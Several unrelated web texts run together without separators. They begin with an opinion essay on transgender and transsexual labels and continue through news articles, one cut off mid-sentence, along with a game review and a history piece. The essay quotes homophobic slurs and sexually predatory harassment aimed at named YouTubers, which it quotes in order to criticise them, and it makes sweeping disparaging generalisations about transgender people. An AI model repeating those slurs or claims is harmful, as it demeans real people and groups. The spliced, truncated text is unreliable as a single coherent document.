As Berns observes the transgender umbrella is being used to subsume ‘transsexual’ as a useful description. This is, itself, potentially against the interests of transsexuals: it negates the established meaning behind what we are and replace it with an identity-based ‘opt-in’, and our surgeries and efforts to transition and assimilate are made meaningless.
Although I’m not going to argue that transsexual is more valid than transgender, we cannot after all really change sex and I cannot support surgical castration and inversion of the genitals just to claim a label, there is a meaning to ‘transsexual’ which is lost when replaced by ‘transgender’, simply because of the broadness with which the latter is both used and defined.
As Berns explains, the various definitions of ‘transgender’ lack any real meaning, but this doesn’t stop lobbying groups using this to further their own interests through the widening of the group they represent: we can thus make a reasoned argument that the claim to validity of transgender over transtrender is null because, as Berns concludes, by the definitions offered, whatever is a transgender person is can be taken to mean ‘any useful idiot’
In the quest for validity and the drawing of this false distinction, we have a situation that is exactly the same as in Monty Python’s ‘The Life of Brian’ (so many scenes from this film can be compared to the transgender zeitgeist): this really is ‘The People’s Front of Judea’ versus ‘The Judean People’s Front’.
The disdain, lateral violence even, that has been directed at those branded ‘transtrenders’, has spilled over to individuals and communities who aren’t even tangentially related to the transgender movement. These new recruits feel able to decry select targets as ‘fake’. See, for example, attacks on Riley J Dennis and Milo Stewart. In ‘Riley J Dennis is INSANE and hurts actual trans people‘, YouTuber MrRedsGaming lambasts Dennis using anti-feminist and homophobic rhetoric such as:
Most of the people who describe themselves as feminists these days are more anti-man than pro-equality… you don’t seem like you have gender dysphoria… it just seems like you are a kind of transtrender… you sound like a retard… people like Justin Riley Dennis lesbian fag-bag here actually do damage the trans community… find Riley and all these faggots online… I don’t feel bad for shitting on all these special snowflake faggots.
There’s plenty about Riley J Dennis to disagree with politically, but the response to political disagreement is political criticism, not homophobic rhetoric. There are many people who have disagreed with Dennis’s public statements about sexuality, gender and in particular whether dating preferences are discriminatory or genital preferences are transphobic and these criticisms can be constructively and intelligently argued.
Dialog like this is in itself important, because much of what Dennis argues for is exactly what lesbians and gay men have been fighting against since forever, that homosexuality is not a choice. Dennis’s pleading is a kinder, gentler more nuanced encouragement to bend one’s sexual orientation that is ultimately comparable to the objectives of conversion therapy, something else LGBT and other human rights groups have been fighting against for decades.
But, we don’t fight Dennis’s homophobia with more homophobia, and those who step in to do this are not doing LGBT people a favour.
The application of sexually coercive or openly sexist rhetoric merits strong criticism, here follows an actual quote from the ‘Suit Yourself’ video collaboration with the transgender YouTuber known as Persephone Sixty Six entitled ‘Do I need hormone replacement therapy‘ in which ‘SuitYourself’ speaks to Stewart (a female):
Of course, Milo, we can stop for a moment and appreciate how cute you look, because you look so fuckable sometimes, even though you’re trying to be a man, but you’re not; you’re a girl. And I’d bend you over, and make you scream like a girl. That’s for sure. Especially now you’re of age. And you should probably try that. Get yourself a real man. Get a real man in you. Become the woman. Hear you roar.
It should ring alarm bells that the ‘in group’ is leveraging support from outsiders in order to claim hierarchy over the ‘out group’. The nature of and way this support is expressed in homophobic or predatory sexist terms by rights should have the transgender community up in arms, except it won’t because, of course, significantly most transgender individuals are heterosexual males who likely have very limited experience of being on the receiving end of homophobia or sexism, and so cannot identify this language as being the language of the oppressor. This is a characteristic inherent to transgender individuals because of the etiology of their transgender identities.
The transgender movement has benefitted immensely from the widening of the meaning of ‘transgender’ (and consequentially the ‘T’ in LGBT) and this has opened up a contradiction that lies at the heart of the transgender movement because, at the same time within broader transgender culture, we see some individuals being considered a threat to the validity of the ‘transgender’ status as claimed, individuals who in reality have as much claim to ‘transgender’ as anyone else. Those individuals experience not just lateral violence directed from the in-group to the out-group, but also from individuals the transgender cause is recruiting and instrumentalising from outside their group, individuals who use sexist and homophobic rhetoric and demonstrate no empathy for or understanding of what either transgender or transsexual may be, or the challenges we face.
This is laterally and downward vertically directed and a dangerous hypocrisy of the very highest order. I published a piece last week that looked at Alex Drummond and Pippa Bunce, who respectively are the ‘trans woman who kept her beard’ and someone who likes ‘to be Phil one day and Pippa another, using different forms of dress and make-up to do so’; how can these individuals, who have institutional power in LGBT organisations, be ‘genuinely transgender’ (whatever that may mean) if Stewart and Dennis are not? What are the real differences here? This hierarchy of course, is a very risky strategy, because when the backlash against transgender materialises, which it will, guaranteed the outsiders will not stick around to fight the corner for whatever remains of the transgender rights movement.
When you examine those external to the movement who are, for now, on their side, and will in turn likely form the muscle of this backlash, it is apparent from their rhetoric that their sex and gender politics are far from progressive. This should be no surprise, because transgenderism is itself the antithesis of social progression. I am worried for what this means for women, homosexuals and especially younger people who are now identifying themselves as transgender. Decades of social progress and acceptance are in danger of being unravelled and replaced with old-fashioned sexism and homophobia. This is a huge leap backwards, and for the consequences of this, we as members of LGBT should, all of us, be afraid; be very afraid.
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RedditJoe DeVito claims he created the universe surrounding King Kong's mysterious home and his pitch for a TV series was turned into a feature film without giving him compensation or credit.
Kong: Skull Island is set to be released next year — but now there's an 800-pound gorilla looming over the larger-than-life blockbuster.
Artist Joe DeVito claims he created an entire Skull Island universe that ties together the people and events surrounding King Kong, with the blessing of the original creator's family, and now he's suing producers of the feature film claiming they stole his ideas from pitch meetings.
"More than 80 years have passed since the public was introduced to Merian C. Cooper’s King Kong," states the complaint filed Wednesday by DeVito's attorney Randy Merritt. "In that entire time, not one motion picture or television program has told the story of the iconic creature’s origin or his relationship to the mysterious island on which he was found."
In 1992, DeVito began working, in conjunction with the Cooper family, to create a story that explains Kong's origins and ties together the events before his capture and after his death.
More than a decade later, he partnered with Lorenzo di Bonaventura to develop the Skull Island property as a high-budget television program. Following that partnership, DeVito claims he pitched the idea to Legendary and Warner Bros. — the producers behind the upcoming motion picture.
DeVito is suing Legendary and Warner Bros. for breach of implied contract, claiming the companies have used the conceptual framework he pitched them as the basis of their film without giving proper credit or compensation. He’s also hitting Legendary with an intentional interference with a contract claim, alleging the company bullied his production partners into dropping out of the TV project.
DeVito claims in February 2014, di Bonaventura Television agreed to partner with his company to develop and market the project, but the next month put pitches on hold because the company was severing its relationship with ABC Studios.
Its new partner was Legendary.
During an April 22, 2014, pitch meeting at Legendary, DeV |
with the community about the exhibition Kelley Walker: Direct Drive, the controversial artist’s talk regarding the exhibition, and the concerns regarding racial insensitivity both the show and the talk have generated. First and foremost, CAM would like to reiterate our apology to the community for the anger and pain we caused. Our mission as an institution is to be a place where all can experience contemporary art in a space free from discrimination, judgment, and disrespect. It is clear, from the community’s response to Kelley Walker’s artist’s talk on September 17, that we failed to provide a place where all voices could be heard. Throughout our dialogue with community activists and leaders, we have listened to their requests to remove Kelley Walker: Direct Drive from the museum. In accordance with CAM’s steadfast commitment to free speech and freedom of expression, we have concluded, after lengthy and thoughtful deliberations, to keep the exhibition on view. Taking down the show would violate the Museum’s core principles and end the productive dialogue that this work has initiated. CAM has a history of showing controversial artists; we have shown works that have challenged common sensibilities and presented work that has critiqued, in a difficult way, misogyny, patriarchy, homophobia, and the military industrial complex, among other issues. Despite the debates and discomfort these exhibitions generated, we never removed them. We must, however, note that the deep community concern surrounding Kelley Walker: Direct Drive is different and deserves a different response. The show will remain on view in its entirety, but with modifications designed to welcome dialogue and dissent. Additionally, the museum will explore further ways to engage the community in an ongoing and constructive dialogue on the issues the exhibition has raised. Finally, CAM will ensure that the exhibit is properly identified as potentially painful, so that visitors who wish to avoid particularly difficult works may do so. Learning and engagement are at the very core of CAM’s values. From this experience – from the voices raised within the community – we ourselves have learned. With these modifications and with ongoing discussions, we will maintain our commitment to meaningfully engage with the public through art.
Follow artnet News on Facebook:With the January window on the horizon, there's plenty brewing in the transfer market. All the latest deals and potential deals can be found here.
TOP STORY: Shaw and Poch poised to reunite?
After a successful spell working under the management of Mauricio Pochettino at Southampton, it has been suggested more than once that Luke Shaw could team up with his old boss again.
Shaw has returned to fitness following a series of injury setbacks but has been unable to force his way back into Jose Mourinho's Manchester United side, with reports suggesting he could go out on loan when the window reopens in January.
And the Sun says that may well mean the left-back will be heading for Pochettino's Tottenham Hotspur as he looks to put his recent frustrations behind him.
It reports that "a short-term deal for the 22-year-old is on the cards if United sign a new left-back," with Mourinho having said that although Shaw has a future at the club, "the situation is not easy because he comes from injury after injury."
But if the England international does end up leaving on loan a Spurs switch is by no means guaranteed, with the Sun saying they "would face plenty of competition" for his signature.
Meanwhile, talkSPORT, citing reports in Italy, says United face a scrap with AC Milan for 19-year-old RB Leipzig defender Dayot Upamecano.
Bayern Munich, Real Madrid, Barcelona, Arsenal and Manchester United were all credited with an interest in Upamecano before he opted to move to the Bundesliga from Red Bull Salzburg in January.
United have been tipped to make a winter bid -- but Milan are now thought increasingly likely to do the same themselves.
Luke Shaw became one of England's brightest young defenders under the guidance of Mauricio Pochettino at Southampton.
CSL clubs target Brighton's Hemed
Brighton striker Tomer Hemed could be on his way to the Chinese Super League, according to the Sun.
It says Shanghai Shenua "lead the chase among CSL sides for Hemed" because his likely value, around £5 million, means they would avoid a ruling that says a club spending more than £5.2m on a player must pay the same amount towards youth development.
Clubs are "eyeing Hemed for the next CSL campaign, starting in March," the report adds.
The 30-year-old Israel international, who is out of contract in the summer, stayed at Brighton after the Seagulls failed to land a number of attacking targets before the start of the season.
He had been wanted by Championship playoff finalists Reading.
Tap-ins
- Malmo forward Jo Inge Berget will be off to MLS club Orlando City when his contract expires at the end of the Swedish season, according to reports.
Expressen says Berget -- who has appeared increasingly likely to leave Malmo in recent months -- has been offered a deal by Orlando, with negotiations over a switch to Florida for the 27-year-old Norwegian under way.
- Bristol City, Nottingham Forest, Stoke and Swansea are all reported to be keen on signing Groningen striker Mimoun Mahi, and it seems the Dutch club are prepared to let him go.
The Bristol Post says City, flying high in the Championship, had hoped to sign Mahi in the last window and will "be looking to strengthen their attacking ranks come January." He is thought likely to cost around £2m.Sun King Brewing has announced plans to open a small taproom and brewery in Fishers, Ind. this summer about a half mile away from where the company eventually plans to build out a larger scale production facility.
Construction is currently underway on the 6,000 sq. ft. space inside a shopping center, which the company said would be complete with a 3-barrel brewing system, taproom and event space for community and private events by this June.
Located about 20 minutes from the company’s flagship brewery in Indianapolis, the new brewery will enable it to produce more small batch, one-off and experimental beers, according to Sun King co-founder Clay Robinson.
The expansion is a dramatically scaled back version of the company’s initial plan to invest $8.8 million to build out a 40,000 sq. ft. destination brewery in the town with capacity to brew nearly 30,000 barrels per year.
As Brewbound reported last summer, the Fishers Town Council had approved a $2.5 million economic development deal to capture property taxes for 25 years to help offset the larger project’s costs, while the Indiana Economic Development Corp. offered to provide $450,000 in grants and tax credits based on the proposed facility’s potential to create jobs.
Sun King reevaluated that plan, however, in light of Indiana law that prohibits breweries that produce in excess of 30,000 barrels per year from self-distributing or operating on-site tasting rooms. In December, the brewery went as far as to sever ties with its wholesale partners in the state to rein in production to stay under the cap. From there, it launched a public awareness campaign in collaboration with another Indiana brewing stalwart, 3 Floyds Brewing, to try and change the law.
On April 1, Indiana lawmakers passed Senate Bill 297, which, pending Gov. Mike Pence’s signature, will triple the cap to 90,000 barrels.A group of influential and iconic tech entrepreneurs have written an open letter of opposition to the recently proposed Stop Online Piracy Act (SOPA), which has been published as a paid advertisement in several major U.S. newspapers today.
The bill, introduced by Rep. Lamar Smith in late October, gives both the U.S. government and copyright holders the authority to seek court orders against websites associated with infringing, pirating and/or counterfeiting intellectual property. So for example, a website that provides a collection of links to sites that illegally stream copyrighted video content could get shut down and taken to court under SOPA, despite the fact that the site isn’t streaming the content itself.
The opposition letter warns of the dangers that SOPA would bring to business and innovation. It’s signed by Google co-founder Sergey Brin, Twitter co-founder Jack Dorsey, Netscape co-founder and prominent investor Marc Andreessen, PayPal and Tesla founder Elon Musk and several others.
“We’ve all had the good fortune to found Internet companies and nonprofits in a regulatory climate that promotes entrepreneurship, innovation, the creation of content and free expression online,” the letter states. “However we’re worried that the PROTECT IP Act and the Stop Online Piracy Act — which started out as well-meaning efforts to control piracy online — will undermine that framework.”
In the letter, the entrepreneurs also warn that Congress is seeking internet regulation that’s on par with China and Iran — governments that are notorious for censoring potentially unpopular opinions under the guise of maintaining order. I can’t help but feel like this is also a direct response to remarks made by former U.S. Senator and current Motion Picture Association of America Chris Dodd, who referenced Google complying to the Chinese government’s request to block access to some sites as justification for SOPA.
In addition to those top tech executives, several companies and organizations have publicly come out against SOPA. Open-source online encyclopedia Wikipedia is even toying with the idea of staging a blackout in protest of the proposed law.
We’ve pasted the full letter below as well as a list of entrepreneurs who signed it.Buy Photo A man was found dead while crews were breaking down camp sites at Playa del Fuego, Delaware's version of Burning Man. (Photo: SUCHAT PEDERSON/THE NEWS JOURNAL)Buy Photo
A 62-year-old man was found dead in his tent at Playa del Fuego, Delaware's version of Burning Man in Townsend, according to state police.
The man was found about 4 p.m. Monday at festival grounds off Fleming Landing Road, prompting the response of local police, said Master Cpl. Jeffrey Hale, a Delaware State Police spokesman.
Hale said no foul play is suspected. A full autopsy and toxicology screening will take place by the state Division of Forensic Science, as is typical of any death investigation. No further details were released by police.
The event organizers posted on Facebook about the death Monday, calling it a "tragic loss" to their community.
RELATED: Delaware's secret Burning Man, found in Townsend
They say that the man was discovered while people were breaking down the camp sites after the five-day festival spanning Columbus Day weekend. Another five-day festival occurs annually at the same location over Memorial Day.
"It is very important for all of us to avoid speculation," the Facebook post reads. "We will release his identity once we’re certain the next of kin have been notified, as well as any additional information we receive. This is a terrible loss and our thoughts and prayers are with his family, friends and the Playa del Fuego community."
Board members declined further comment Tuesday.
The event is held on more than 30 acres off Fleming Landing Road. The organization estimated more than 1,200 tickets have been sold in each of the last two years.
News Journal reporter Margie Fishman contributed to this report.
Contact Brittany Horn at (302) 324-2771 or bhorn@delawareonline.com. Follow her on Twitter at @brittanyhorn.
STORY: 911 caller charged with July murder of girlfriend
Read or Share this story: http://delonline.us/2e4wEflBack during the Sochi Olympics, Russia banned a gay dating app called Hunters, something of a Russian response to Grindr. The controversial move was part of the country’s infamous crackdown on “gay propaganda” due to a law that forbids anyone advocating for nontraditional relationships, purportedly for the safety of children. After all, this app gives you the distance (down to the meter) of where young men might find other young men for a romantic rendezvous.
But what’s happened since last year’s scandal? I was curious what it was like to use the app in densely populated Moscow, the country’s biggest city boasting some 12 million people. During a recent trip to Russia, I decided to find out.
Hunters is free to download in Google Play and the iTunes App Store. I installed the app, created an account, and saw to my great surprise that there were absolutely no users or activity of any kind on the Hunters network.
Then I remembered to take my phone out of airplane mode, and the social network burst to life. Gay men were looking for other gay men all over Russia’s (now-properly geolocated) capital city.
Hunters’ title screen greets you with the image of a man in a snazzy suit with the head of a multi-point buck. “Lots of fresh meat,” reads the tagline. “Get ready to hunt.”
In keeping with the hunting theme, the in-app currency (buyable with real-world currency, of course) is called “bullets.” Bullets unlock various premium features inside of Hunters. You can buy 5,000 for $100, but you’d probably prefer to start smaller, maybe $8 for 100.
Ads placed in the Darkroom might be geolocated, granting you knowledge of their distance from you down to the meter.
I created an account and filled it out with placeholder personal details, as I was merely a non-participatory tourist in this world. You are free to search for other members who match the characteristics you’re filtering for, whether it’s distance, height, weight, and so on. They appear in search results and you can chat them up as you’d expect. A members section called the Darkroom functions as something of a makeshift Craigslist within the app itself, allowing users to post whatever they like as it relates to a number of categories, whether it’s to make plans in the “Hot Dates” category, to discuss kinky stuff in the “Fetishes” category, or even find roommates and gym buddies. Some of these ads may be geolocated, again telling you exactly how far away the authors are in meters.
A feature like this could be dangerous in the wrong hands in Russia. The country’s attitude toward homosexuality is thoroughly outdated. Though Russia legalized homosexuality in 1993, its present attitude is to legislate these citizens to far corners of society. They are not permitted to talk about or advocate homosexuality in any way. To do so is deemed propagandistic and illegal.
Russian vigilante groups have used gay dating sites and apps lure genuine users out in public, trapping them in verbal and physical attacks; some have even been killing. The government considers these crimes legally just if the victims have expressed that they are gay. “If the assailants are even questioned, they can in turn claim that the victim had identified himself as homosexual or had come on to them, which constitutes a legitimate legal defense,” notes Lewis May in Global Voices.
Human Rights Watch has identified that Russian authorities are simply not protecting these marginalized citizens. “The law effectively legalized discrimination against LGBT people and cast them as second-class citizens,” reads its 2014 report on Russian anti-LGBT violence. “Instead of publicly denouncing anti-LGBT violence and rhetoric, Russia’s leadership has remained silent. In some cases public officials have engaged in explicit anti-LGBT hate speech.”
One user made a post about the app itself: “Why are there so many drug ads? [It makes me mad.]”
Thankfully the Internet makes it possible for Russia’s gay citizens to piece together some sense of contact and community. Google Translate helped me grasp the gist of most posts within the Hunters app. Here’s one from a 36-year-old university student seeking “a strong, masculine guy for communication and sex,” preferably living north of Moscow in one of its suburbs. It ends with a request to write with photos.
But it’s not all sex and hookups. One user made a post about the app itself: “Why are there so many drug ads? [It makes me mad.]”
Here’s what a completed user profile looks like. From here you can begin a chat and potentially make plans to meet up.
By and large the app functions exactly as you’d expect other mobile dating apps to function. You can communicate and share pictures with others, although this might be one of fewer apps that let you to tag your romantic interests with different statuses within the app. This includes options like “very hot,” “want to meet,” “just friends,” “done,” or the intriguing “one more time.”
Because it’s based in a country that’s hardly hospitable to homosexuality, Hunters has unfortunately had its difficulties with security. Despite the app’s “Learn More” page extolling its prideful virtues of privacy and confidentiality, Hunters found itself victim of an attack that saw some 72,000 member profiles deleted by unknown hackers, with the Hunters team only able to restore a portion of them.
“The security was so rudimentary that anyone with basic computer skills would be able to get access to basic user information within a couple of minutes,” BuzzFeed’s J. Lester Feder wrote at the time. “Messages, photos, and location information were being transmitted to Russian servers unencrypted.”
But this was a year ago. In the time since, user trust appears to have been regained to the point that there is no shortage of eligible young men looking for something intimate in Moscow with other eligible young men.
A version of this story was originally published by the Daily Dot on Jan. 28, 2015.
Illustration by Tiffany PaiCause of death: Starvation. Cause of death: Sepsis. Cause of death: Drowning.
Let me get one thing straight. You will die in The Flame in the Flood. And you will die a lot. From all kinds of horrendous things. You may get eaten alive. You may get pummeled into the ground by a vicious warthog. You may just forget to eat or you may risk drinking some water that hasn’t been purified. You will however die. Many many times.
The Flame in the Flood is a wilderness survival title of the utmost quality. From the glorious visuals (I mean c’mon, they are bloody stunning) to the tempting gameplay, each and every little part of the game has been crafted with love, attention and consideration. You play through the game as Scout and it is up to you to travel down the long winding river in order to try and survive the wilds for as long as possible. With your trusty dog, Aesop at your side throughout, it’ll be up to you to decide which of the many randomly generated stops Scout and Aesop should call in at. Will you stop at the nearest church for some shelter or do you need to stretch it out a little while longer in the hope that the next forest will have a meal. There are numerous ports of call available on your journey, but not only is it impossible to visit each one, you’ll have to weigh up the pros and cons prior to doing so. Aside from a few small encounters with other humans (humans with whom you can trade precious commodities), The Flame in the Flood is basically you, your dog and your flimsy raft against mother nature.
The wind will swirl, the rain will lash down, day will turn to night and night will turn to day – throughout it all though you’ll just need to scavenge for food, craft new items and keep away from the vicious wildlife. Unless of course you want to try and catch the vicious wildlife in order to turn it into precious food – in which case you’ll be in for a whole load of fun. And death. More death than you can imagine should you decide to take on a wolf during the dead of night.
There are two game modes in place, both of which basically do the same thing. The campaign plops you aboard your raft and asks you one question – can you find the mouth of the river? If you’re anything like me, then chances are you won’t. Ever. Especially if you decide to play on the more intense ‘Survivalist’ difficulty level; something which brings Permadeath, less supplies and a reduction in your vital stats like nobodies business. For the majority of gamers, and those who are looking to actually enjoy their time with The Flame in the Flood, the standard ‘Traveler’ mode will more than suffice but even then, checkpoints are scarce and for the most part, you will still feel like the whole world is against you.
If the campaign isn’t for you and you just want to go on some aimless white water rafting, then the endless game mode is your other option and does exactly as it says on the tin. Admittedly, if I didn’t know which of the options I had chosen before the game had started, then I would be none the wiser as they both play out very similarly. It all depends if you ever want, or need, to find some form of completion. Personally, I’m not sure I do. Total and utter exploration is more than enough to satisfy my needs.
To survive, you’ll need to eat. And drink. And stay warm. And sleep occasionally. But remember, for each action, there is nearly always a negative reaction and so should you decide to park your tired soul on a church pew for a few hours, getting in out of the damn rain and trying to warm up, then your body will require further stimulation in the way of food – normally from the very second you wake up. But what if the only food you have is a piece of raw meat, full of parasites and liable to give you a dicky tummy? Do you take the risk just in order to stop yourself from starving, or do you run around like a blue arsed fly, hoping that the next stop along the river will be able to provide you with a campfire for cooking purposes. What if there isn’t a next stop?
The Flame in the Flood is all about these kind of dilemmas and it’ll be up to you to work with what you’ve got and then just pray that the next port will be kind enough to allow you to craft further items, or be fully stocked with food. The crafting system itself is reasonably deep, but far from complicated. We’ve all been there in these survival titles, stashing a ton of gear into our bags in the hope that we’ll one day find out what it is for. Well, with The Flame in the Flood, it’s no more a case of throw said item into your bag, hit a couple of menus prompts and find out exactly what you can craft. If you haven’t garnered the correct materials, then you’ll be told exactly what you need to help you out – which in turn gives you something to aim for. You backpack is however severely limited in space, so there are times when you’ll need to drop some of the lesser essential items into Aesop’s bag, or onto the raft for another day. A little tip, find yourself on the verge of death with little to no way out and it’ll be a good idea to give your dog the best stuff, as the next time you play through, he’ll come fully equipped. It’s not a massive deal if you don’t, but when you’ve been dropping in to port after port in the hope that you will one day have enough materials to craft an exotic bear hide jacket or enough nuts and bolts to upgrade your raft to something a bit more substantial, it’s a bit of a killer to see it all get washed downstream, never to be seen again.
For the most part The Flame in the Flood is a glorious survival title, but there are bugs – although thankfully nothing too massive. Most notably these come in the form of icon prompts which don’t show correctly and the occasional complete and utter crash back to the Xbox dashboard. On the whole these are either very few and far between, or something that really doesn’t affect the stunning gameplay in any way and if I’m being completely honest, there really isn’t an awful lot that stops The Flame in the Flood from reaching top marks, at least on a personal scale. On the same hand however, I fully understand that the hit-and-miss elements and complete and utter randomness of what is to come will more than likely frustrate many. But is that an issue with the game itself? Not really. It’s more an issue with the ‘survival’ genre as a whole…something you’ll either love or absolutely hate.
And what is there to keep you going back for more? Well, not only does The Flame in the Flood tempt you in for just one more go with the promise of new loot and discoverment, but each and every time you die, you get shown a record of where you went, what exactly happened and why you went there. With a personal best ‘survival’ rating urging you to fire up Scout’s lifeless body and hop aboard that flimsy raft once more, then you really won’t be able to leave things alone.
There is one other thing which ensures that The Flame in the Flood is a must purchase. The audio and especially the stunning soundtrack. Many of you would have heard of Chuck Ragan, the highly acclaimed Alt-Country rocker, and it is this guy’s tunes that accompany your journey into the wilds. With an original full length soundtrack that brings together Ragan, The Camaraderie, The Fearless Kin and other special guests, I’m not sure I have ever heard a more fitting OST to a game. It brings the world alive to such an extent that not only will you be begging to hear the next track, but you’ll also be making your way over to Spotify, Google Play or Apple Music whenever you are away from the game. Hats off to whoever decided to get Chuck on board, as it was a bloody masterstroke.
So, The Flame in the Flood and I have some way to go before I fully understand how to cut it out in the wilderness. After numerous hours of floating aimlessly down the river, stopping off at multiple camps, churches and gas stations along the way, crafting all manner of tools, clothing and remedies and having eaten what seems like a million dandelions, I still feel that I’ve still only just scratched the surface of what is to come. Which makes The Flame in the Flood something I can see many people playing on a semi-regular basis for a good few months yet.
With a little ingenuity and a whole lot of determination, you might just survive. That’s one huge ‘might’ though.
Related: Let’s Play The Flame in the Flood on Xbox One!M@
London's Forgotten Disasters: Ice Skating Tragedy In Regent's Park
Continuing our series looking at the darkest chapters from the capital's history.
The date was 15 January 1867. Hundreds of pleasure seekers descended on Regent's Park to take advantage of the frozen-over lake in the south-west corner. Affluent Londoners of this period had something of a mania for ice skating, and frozen ponds and lakes were frequently advertised in the press.
Despite warnings of thin ice, many visitors got their skates on and started taking a turn around the gelid surface.
Then, the unthinkable happened. The ice began to weaken close to the banks and eventually cracked. Around 200 skaters plunged into the frigid waters. The icy temperatures, heavy Victorian clothing and limited swimming ability all conspired to tragedy. Despite the best efforts of those on shore, who broke off branches and assembled ropes, there were many fatalities.
From the Illustrated Police News, 19 January 1867. (c) The British Library Board. All Rights Reserved. Found in the British Newspaper Archive.
Recovering the bodies proved frustratingly difficult. The ice quickly froze over again, and channels had to be cut through. It took over a week to be certain that all the victims had been found. By then, 40 bodies had been removed.
Penny Illustrated Newspaper, 26 January 1867. (c) British Library Board. All Rights Reserved. Found in the British Newspaper Archive.
The disaster prompted measures to prevent similar incidents in future. The depth of the lake was reduced to 4 or 5 feet to make drowning less likely. While the authorities had learnt a valuable health and safety lesson, the public had not, and a similar accident occurred on the lake a generation later. The change of depth was all-important, and none of the 100 or so unwitting bathers suffered anything more serious than a chill.
See also: A map of London’s worst disasters
Top Image: The frozen lake in 2009 by LondonDave in the Londonist Flickr pool.EMBED >More News Videos 2 suspects arrested after traffic stop near Lamar HS
Several male students from Lamar High School were spotted in a stolen vehicle Tuesday.According to Houston ISD, Bellaire PD was conducting a traffic investigation near the campus, which prompted a lockdown.Students said there was a message over the intercom that told students they were under a lockdown. At first, they didn't know why."The speakers came on telling all the teachers to close the doors, lock the doors, turn off the lights and everybody to stay in the room. That was very scary," said student Wester Couch."It was scary and really hectic. Everyone was freaking out," said student Samuel Cantor.Bellaire police say the four or five students were also breaking into cars to steal cash and other items over the weekend.On Tuesday, Bellaire police spotted a Jeep they believe the suspects also stole over the weekend. They followed the Jeep to Lamar High School. The suspects got out of the Jeep and ran, but two of them were arrested.ABC13 talked to the owner of the Jeep. His biggest concern was that the suspects had also broken into another of his/her vehicles and stole a pistol. He's concerned that the suspects will use it in other crimes. There's no word on whether that pistol has been recovered.Officers are still searching for the other suspects.: A Statesman in Conflict Travis L. Crosby I.B.Tauris, Jan 24, 2014 - Biography & Autobiography - 576 pages 0 Reviews David Lloyd George is widely regarded as one of the most effective British prime ministers of the twentieth century. A dynamic speaker and committed social reformer, he led Britain successfully through the devastation of World War I and had a powerful impact on international politics. In the post-war peace treaties, he sought a just, rather than a vengeful, settlement for the defeated powers in an attempt to preserve a peaceful international order. Whilst Lloyd George’s achievements were undoubtedly substantial, his political record was not entirely without blemish and, in his personal life, he was a fascinating and complex character. Renowned as a womaniser, after 1913 he retained two separate households - one with his wife and one with his mistress, his former private secretary. Based on extensive research, Travis L. Crosby provides a fresh appraisal of the life of one of Britain’s most conflicted politicians. Preview this book »Bradley Lowery walked out alongside his favourite Sunderland player Jermain Defoe
Terminally ill five-year-old Bradley Lowery led out the England team at Wembley for Sunday's World Cup qualifier against Lithuania.
The young Sunderland fan was diagnosed with neuroblastoma in 2013, and developed a new tumour in February.
Although Joe Hart was captain, he swapped places with Jermain Defoe in the tunnel so he and Bradley could lead the teams out.
Bradley covered his ears as he walked out to loud cheers at Wembley.
Bradley was also mascot for Everton against Chelsea, but he has found a hero and "best mate" in Defoe after walking out alongside him as mascot for his beloved Sunderland against Chelsea. The 34-year-old striker has gone on to visit him in hospital.
It was an emotional day at Wembley as tributes were paid to the victims of the Westminster attack in central London on Wednesday, as well as former England manager Graham Taylor who died in January.
England captain Joe Hart let Jermain Defoe and Bradley Lowery lead out the teams.
Bradley covered his ears as he received a loud reception from both sets of fans at Wembley.
Bradley Lowery was carried by his "hero and best mate" Jermain Defoe
Bradley was all smiles as he lined up with the England players for the national anthems.
Jermain Defoe went on to score after hugging his lucky mascot BradleyIt's been a rough Darwin Week for Prof. Robert Dillon, a biologist and professor at the College of Charleston. Classes have been cancelled due to winter storms, ice and rain have put a damper on events commemorating the father of evolutionary theory, and — once again — a South Carolina lawmaker was putting up a fight against the teaching of natural selection, a theory that hasn't been controversial in the scientific community since the late 19th century.
"It's like the icy fingers of Satan," Dillon says, chuckling as he paces between the tables in his lab. "It's like Satan's icy grip is trying to stop Darwin Week."
The latest lawmaker to take a stand against the teaching of evolution is Upstate Republican Sen. Mike Fair, a man Dillon has sparred with several times through the years. Fair, a member of the Statehouse-appointed Education Oversight Committee, made national news Monday when he raised objections to a section of new grade-school science standards that deal with biological evolution. To read the headlines, Fair's stance had the makings of the next minor skirmish over the hearts and minds of high school biology students.
Members of the EOC who were present at the committee's Monday meeting say the controversy arose over Standard H.B.5B (p. 78), which reads as follows:
"Biological evolution occurs primarily when natural selection acts on the genetic variation in a population and changes the distribution of traits in that population over multiple generations."
But by Wednesday evening, a mere two days after Fair pumped the brakes on the S.C. Department of Education's standards overhaul and sent it back to a subcommittee, Fair said he was dropping his opposition and would seek to expedite the new standards' approval. "I've been given all the information and all the clarification I need, and it's good, frankly, under the circumstances that we have to operate," Fair said.
With a brief instant of mild-mannered opposition, Fair had catapulted himself into the national limelight, only to sit at home on a snow day, re-read the offending paragraphs, and drop his fighting stance altogether.
In the meantime, Fair had made the front pages of newspapers around the state, and the Huffington Post had picked up yet another look-at-these-Southern-yokels story: "State Sen. Mike Fair Blocks Evolution From South Carolina Science Standards."
S.C. Education Superintendent Mick Zais, responding to the mini-controversy, told the Post and Courier that he was not surprised by the "debate" that was allegedly taking place on the Education Oversight Committee. "This has been going on here in South Carolina for a long time," Zais said. "We ought to teach both sides and let students draw their own conclusions."
Teaching the 'controversy'
Fair's opposition came late in the game. South Carolina reviews its standards approximately every seven years, and the set of revised standards currently up for consideration has been in the works since January 2012. According to Barbara Hairfield, vice chair of the EOC, committee members were given copies of the new standards in late summer 2013, so Fair could not have been caught off guard by them in early February 2014.
click to enlarge S.C. Sen. Mike Fair
So either Fair needed two more days to parse the verbiage, or it was all a saber-rattling publicity stunt. Glenn Branch, deputy director of the National Center for Science Education, says the latter is sometimes true with the more off-the-wall anti-Darwinism crusades that have taken place in Statehouses around the country.
"For some of the more blatant bills, I think it is a kind of chest-thumping that is pandering to their base," Branch says. "So when election season comes around, they can go home and say, 'Well, I introduced this bill and it didn't go through, but re-elect me and I'll introduce it again.'"
The main national advocacy group agitating against the teaching of evolution is the Seattle-based Discovery Institute, and Dillon claims that Fair "gets his marching orders" from the group. But Fair, who has fought the anti-evolution fight in the Statehouse several times since joining the House of Representatives in 1984, distances himself from the Discovery platform.
"I talk to them regularly, but their views aren't like mine," Fair says. While Discovery has advocated for the teaching of intelligent design, the idea that order in the universe implies an intelligent Creator, Fair adheres to a narrower interpretation of the Christian Genesis account. As a young-earth creationist, Fair believes that the universe is between 6,000 and 10,000 years old. He says he believes in micro-evolution (that is, evolution within a species) but not macro-evolution between species. Both are fairly common views within certain conservative sects of Christianity, and both have been thoroughly refuted by fossil stratification, radiocarbon dating, biogeography, and genetics.
